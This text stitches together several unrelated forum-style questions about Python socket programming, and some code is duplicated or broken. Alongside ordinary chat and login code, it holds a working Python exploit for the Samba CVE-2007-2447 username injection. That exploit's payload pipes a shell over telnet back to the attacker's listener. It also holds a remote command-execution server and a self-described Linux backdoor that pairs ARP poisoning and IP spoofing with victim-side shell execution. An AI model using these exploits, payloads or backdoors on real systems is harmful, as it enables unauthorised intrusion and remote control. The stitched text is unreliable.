How can i make it so when someone connects to port 8080 they see the login screen and password instead of a client joining, for example i opened putty up and i clicked protocol "RAW" i put the I.P of 208.67.1.1 <- example I.P and port 8080 nothing shows but i don't get a connection refused.
Here's my code:
import sys
import time
from socket import *
sock = socket(AF_INET, SOCK_STREAM)
USER = "Haze"
PASS = "Myinternet202"
HOST = "0.0.0.0"
PORT = 8080
sock.bind((HOST, PORT))
sock.listen(1)
nickname = raw_input("Nickname: ")
if nickname == "%s" % (USER):
credentialsU = True
else:
credentialsU = False
if credentialsU == False:
print '----------------------------------------'
print '- INVALID CREDENTIALS -'
print '----------------------------------------'
time.sleep(5)
sys.exit(1)
password = raw_input("Password: ")
if password == "%s" % (PASS):
credentialsP = True
else:
credentialsP = False
if credentialsP == False:
print '----------------------------------------'
print '- INVALID CREDENTIALS -'
print '----------------------------------------'
time.sleep(5)
sys.exit(1)
if credentialsU == True and credentialsP == True:
while True:
main = raw_input("> ")
logs = open("logs.txt", "a")
logs.write("" + nickname + " -> " + main + "\r\n")
logs.close()
Related
Hello i'm trying to force client to try reconnect to server when its offline when im using localhost it works but if try it with server on linode client starts to printing new blank lines in terminal.
client code:
def main():
serverSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def connect():
try:
serverSocket.connect(("IP HERE", 8000))
except:
print("connection error trying again in 10 seconds")
sleep(10)
connect()
connect()
print("Available sessions: ")
print(serverSocket.recv(1024).decode("utf-8"))
state["inputCondition"] = threading.Condition()
state["sendMessageLock"] = threading.Lock()
state["username"] = pcname
state["groupname"] = pcname + "' " + "session"
state["alive"] = False
state["joinDisconnect"] = False
state["inputMessage"] = True
serverSocket.send(bytes(state["username"], "utf-8"))
serverSocket.recv(1024)
serverSocket.send(bytes(state["groupname"], "utf-8"))
response = serverSocket.recv(1024).decode("utf-8")
if response == "/adminReady":
print("You have created the group", state["groupname"], "and are now an admin.")
state["alive"] = True
elif response == "/ready":
print("You have joined the group", state["groupname"])
state["alive"] = True
serverListenThread = threading.Thread(target=serverListen, args=(serverSocket,))
while True:
if state["alive"] or state["joinDisconnect"]:
break
if state["alive"]:
serverListenThread.start()
server code:
def handshake(client):
if len(agroups) > 0:
gr = " "
for x in agroups:
gr += "\n" + x
client.send(bytes(gr, "utf-8"))
else:
client.send(bytes("no sessions available.", "utf-8"))
username = client.recv(1024).decode("utf-8")
client.send(b"/sendGroupname")
groupname = client.recv(1024).decode("utf-8")
if groupname in groups:
groups[groupname].connect(username, client)
client.send(b"/ready")
print("User Connected:", username, "| Group:", groupname)
threading.Thread(target=pyRaT, args=(client, username, groupname,)).start()
else:
groups[groupname] = Group(username, client)
agroups.append(groupname)
threading.Thread(target=pyRaT, args=(client, username, groupname,)).start()
client.send(b"/adminReady")
print("New Group:", groupname, "| Admin:", username)
def main():
listenSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listenSocket.bind(("localhost", 8000))
listenSocket.listen(10)
print("PyRaT Server running")
while True:
client, _ = listenSocket.accept()
threading.Thread(target=handshake, args=(client,)).start()
def handshake(client):
if len(agroups) > 0:
gr = " "
for x in agroups:
gr += "\n" + x
client.send(bytes(gr, "utf-8"))
else:
client.send(bytes("no sessions available.", "utf-8"))
username = client.recv(1024).decode("utf-8")
client.send(b"/sendGroupname")
groupname = client.recv(1024).decode("utf-8")
if groupname in groups:
groups[groupname].connect(username, client)
client.send(b"/ready")
print("User Connected:", username, "| Group:", groupname)
threading.Thread(target=pyRaT, args=(client, username, groupname,)).start()
else:
groups[groupname] = Group(username, client)
agroups.append(groupname)
threading.Thread(target=pyRaT, args=(client, username, groupname,)).start()
client.send(b"/adminReady")
print("New Group:", groupname, "| Admin:", username)
def main():
listenSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listenSocket.bind(("IP HERE", 8000))
listenSocket.listen(10)
print("PyRaT Server running")
while True:
client, _ = listenSocket.accept()
threading.Thread(target=handshake, args=(client,)).start()
I dont know what to try next coz i spend writing it past 2 hours so please help
Recently I've been creating a Python implementation of the Metasploit module for CVE2007-2447, I found a basic script online which I took some parts of then decided that I wanted to build the listener into the script so that I wouldn't have to run Netcat alongside the Python script.
import sys
import time
import socket
import threading
from smb.SMBConnection import SMBConnection
def exploit(rHost, rPort, lHost, lPort):
print("[+] " + rHost, rPort, lHost, lPort)
payload = 'sh -c(sleep 4535 | telnet ' + lHost + " " + lPort + ' | while : ; do sh && break; done 2>&1 | telnet ' + lHost + " " + lPort + ' >/dev/null 2>&1 &)'
username = "/=`nohup " + payload + "`"
password = ""
print("[+] " + username + password)
s = SMBConnection(username, password, "", "", use_ntlm_v2 = True)
#try:
s.connect(rHost, int(rPort), timeout=1)
print("[+] Payload sent!")
handler(shell)
#except Exception as e:
# print(e)
# print("[*] Fail!")
def handler(shell):
(conn, address) = shell.accept()
print("[+] Connected to " + address)
commandSender(conn)
conn.close()
def commandSender(conn):
shell_status = True
shell_recv_thread = threading.Thread(target=recvStream, args=(conn, shell_status))
shell_recv_thread.start()
command = ''
while shell_status == True:
command = input()
if command == "exit":
shell_status = False
conn.close()
shell_recv_thread.join()
sys.exit(0)
conn.send(bytes(command + "\n", "utf-8"))
def recvStream(conn, addr, status):
status = True
while status == True:
try:
print(conn.recv(1024))
except conn.timeout:
pass
except Exception as e:
print(e)
print("[*] Failed Shell Interaction...")
if __name__ == '__main__':
print("[*] CVE2007-2447")
if len(sys.argv) != 5:
print("[-] usage: <RHOST> <RPORT> <LHOST> <LPORT>")
else:
print("[+] Exectuting...")
shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell.bind((sys.argv[3], int(sys.argv[4])))
shell.listen(10)
rHost = sys.argv[1]
rPort = sys.argv[2]
lHost = sys.argv[3]
lPort = sys.argv[4]
exploit(rHost, rPort, lHost, lPort)
As you can see the script for this exploit is fairly simple, due to unsanitized user input an attacker can send commands to the affected device in the username field. I've checked Netstat while I run the script & I can see that my machine is definitely listening on the port I specify for lPort yet for some reason the socket seems to fail to accept the connection. In order to test the code I am running it inside a Ubuntu VM against Metasploitable 2 which is running in a separate VM on the same subnet.
https://iperf.fr/iperf-doc.php
https://iperf.fr/
//server.py
import socket
import select
import sys
from thread import *
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
if len(sys.argv) != 3:
print "Correct usage: script, IP address, port number"
exit()
IP_address = str(sys.argv[1])
Port = int(sys.argv[2])
server.bind((IP_address, Port))
server.listen(100)
list_of_clients = []
def clientthread(conn, addr):
conn.send("Welcome to this chatroom!")
while True:
try:
message = conn.recv(2048)
if message:
print "<" + addr[0] + "> " + message
message_to_send = "<" + addr[0] + "> " + message
broadcast(message_to_send, conn)
else:
remove(conn)
except:
continue
def broadcast(message, connection):
for clients in list_of_clients:
if clients!=connection:
try:
clients.send(message)
except:
clients.close()
remove(clients)
def remove(connection):
if connection in list_of_clients:
list_of_clients.remove(connection)
while True:
conn, addr = server.accept()
list_of_clients.append(conn)
print addr[0] + " connected"
start_new_thread(clientthread,(conn,addr))
conn.close()
server.close()
The client side script will simply attempt to access the server socket created at the specified IP address and port. Once it connects, it will continuously check as to whether the input comes from the server or from the client, and accordingly redirects output. If the input is from the server, it displays the message on the terminal. If the input is from the user, it sends the message that the users enters to the server for it to be broadcasted to other users.
//client.py
import socket
import select
import sys
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if len(sys.argv) != 3:
print "Correct usage: script, IP address, port number"
exit()
IP_address = str(sys.argv[1])
Port = int(sys.argv[2])
server.connect((IP_address, Port))
while True:
sockets_list = [sys.stdin, server]
read_sockets,write_socket, error_socket = select.select(sockets_list,[],[])
for socks in read_sockets:
if socks == server:
message = socks.recv(2048)
print message
else:
message = sys.stdin.readline()
server.send(message)
sys.stdout.write("<You>")
sys.stdout.write(message)
sys.stdout.flush()
server.close()
The Client and Server can successfully connect however only one command can be issued. Been at this for a while and wanted some outside help, any feedback or suggested improvements would be great thanks in advance.
Been looking at other posts which suggest I may have prematurely closed the connection but I don't believe this to be true due to the fact the program doesn't throw any disconnection errors though I may be wrong.
client.py
import socket
import sys
import os
# Create a TCP/IP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
##server = input("Enter server IP: ")
##print(server)
##
##port = int(input("Enter port: "))
##print(port)
def send_msg(msg):
sock.sendall(msg.encode())
def get_msg():
msg = sock.recv(2048).decode()
return msg
server = "127.0.0.1"
port = 100
sock.connect((server, port))
print("Connecting to " + server + " on port " + str(port) + "\n")
while True:
#Send data
msg = input(os.getcwd() + "> ")
print("Sending '" + msg + "'")
send_msg(msg)
#Response
#amnt_exp = len(msg)
#data = sock.recv(2048)
data = get_msg()
if data == "exit":
print("\nClosing connection")
sock.close()
else:
print("Received: \n" + data)
server.py
import socket
import sys
import os
import subprocess
#Create a TCP/IP Socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
##server = input("Enter server IP: ")
##print(server)
##
##port = int(input("Enter port: "))
##print(port)
def send_msg(msg):
conn.sendall(msg.encode())
def get_msg():
msg = conn.recv(2048).decode()
return msg
server = "127.0.0.1"
port = 100
#Config
sock.bind((server, port))
print("Bound to " + server + " on port " + str(port) + "\n")
sock.listen(1)
print("Waiting for a connection...")
while True:
conn, caddr = sock.accept()
print("Connected!\n")
print("Waiting for a command...")
#data = conn.recv(2048).decode()
data = get_msg()
#Exit
if data == "exit":
print("\nConnection closed")
conn.close()
print("Received '" + data + "'")
#Command Exec
call = subprocess.Popen(data, stdout = subprocess.PIPE, shell=True)
#Output
output, err = call.communicate()
call_status = call.wait()
#print("Output: ", output)
#print("Exit status: ", call_status)
#Reply
msg = "Command successful\n" + "Output: " + str(output) + "\n" + "Exit status:" + str(call_status)
print("Sending reply...")
print("\nWaiting for a command...")
send_msg(msg)
The problem is that your server loop only accepts a single command, and then it goes back to accept a whole new connection, and never looks at the old connection again.
Your output is pretty misleading, because it does print out Waiting for a command.... But that's only happening because you have an extra print("\nWaiting for a command...") before send_msg, and you don't have any output before sock.accept. You can see what's actually happening if you make your prints accurate. For example:
sock.listen(1)
while True:
print('Waiting for a connection...') # inside the loop, not before it
conn, caddr = sock.accept()
# ... etc. ...
print("Sending reply...")
# Don't print Waiting for a command here, because you aren't
send_msg(msg)
# And print something after the send succeeds
print("Sent")
print()
So, now you know what's wrong, how do you fix it?
Simple. We just need a nested loop. Once you accept a client connection, keep using that connection until they exit:
sock.listen(1)
while True:
print('Waiting for a connection...') # inside the loop, not before it
conn, caddr = sock.accept()
print("Connected!\n")
while True:
print("Waiting for a command...")
data = get_msg()
#Exit
if data == "exit":
print("\nConnection closed")
conn.close()
break # go back to the outer accept loop to get the next connection
print("Received '" + data + "'")
# ... etc. ...
print()
i'm creating a reverse shell for a linux backdoor for fun, and I got it working to a point. Most commands work like "cd", "ifconfig", and "ls". But commands like "cp" and "rm" work on the victim computer, but I don't get any output on my side (the attacker), I get this error when I try to "rm" or "cp":
Can you guys help me try and handle this? I know cp doesn't actually output anything, and my program expects an output. Even though I get this error on my end, when I look at the victim I can still see the action (cp, or rm) go through. Another alternative is whenever I get this error, I can get my program to just prompt for a command again.
Any help would be sick!
Attacker code:
import sys
import socket
import threading
import time
from logging import getLogger, ERROR
from scapy.all import *
getLogger('scapy.runtime').setLevel(ERROR)
try:
victimIP = raw_input('Enter victim IP: ')
spoofIP = raw_input('Enter IP you want to spoof: ')
IF = raw_input('Enter network interface: ')
except KeyboardInterrupt:
print '[!] User Interrupted Input'
sys.exit(1)
conf.verb = 0
def getMAC():
try:
pkt = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = victimIP), timeout = 2, iface = IF, inter = 0.1)
except Exception:
print '[!] Failed to Resolve Victim MAC Address'
sys.exit(1)
for snd, rcv in pkt[0]:
return rcv.sprintf(r"%Ether.src%")
print '\n[*] Resolving Victim MAC Address... '
victimMAC = getMAC()
spoofStatus = True
def poison():
while 1:
if spoofStatus == False:
break
return
send(ARP(op=2, pdst=victimIP, psrc=spoofIP, hwdst=victimMAC))
time.sleep(5)
print '\n[*] Starting Spoofer Thread...'
thread = []
try:
poisonerThread = threading.Thread(target=poison)
thread.append(poisonerThread)
poisonerThread.start()
print '[*] Thread Started Successfully\n'
except Exception:
print '[!] Failed to Start Thread'
sys.exit(1)
print 'Initializing connection with victim...'
pkt1 = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load='hello victim'))
pkt2 = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load='report'))
prompt = pkt2.getlayer(Raw).load
print 'Initialization Complete'
print '[*] Enter "goodbye" to Stop Connection\n'
while 1:
command = raw_input(prompt)
sendcom = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load=command))
output = sendcom.getlayer(Raw).load
if command.strip() == 'goodbye':
print '\nGrabbing Threads...'
spoofStatus = False
poisonerThread.join()
sys.exit(1)
print output
Victim code:
import socket
import os
import sys
import platform
def launch():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('', 77))
launch = s.recvfrom(1024)
addr = launch[1][0]
port = launch[1][1]
s.sendto('hello paul', (addr, port))
return s, addr, port
s, addr, port = launch()
def getsysinfo():
que = s.recvfrom(1024)
prompt = []
if que[1][0] == addr and que[1][1] == port:
if os.getuid() == 0:
prompt.append('root#')
prompt.append('# ')
else:
prompt.append('user#')
prompt.append('$ ')
prompt.insert(1, platform.dist()[0])
s.sendto(''.join(prompt), (addr, port))
return
getsysinfo()
def shell():
while 1:
try:
command = s.recv(1024)
if command.strip().split()[0] == 'cd':
os.chdir(command.strip('cd '))
s.sendto('Changed Directory', (addr, port))
elif command.strip() == 'goodbye':
s.sendto('Goodbye paul', (addr, port))
s.close()
break
else:
proc = os.popen(command)
output = ''
for i in proc.readlines():
output += i
output = output.strip()
s.sendto(output, (addr, port))
except Exception:
s.sendto('An unexpected error has occured', (addr, port))
pass
shell()
I fixed it by adding this bit of code:
try:
output = sendcom.getlayer(Raw).load
except AttributeError:
continue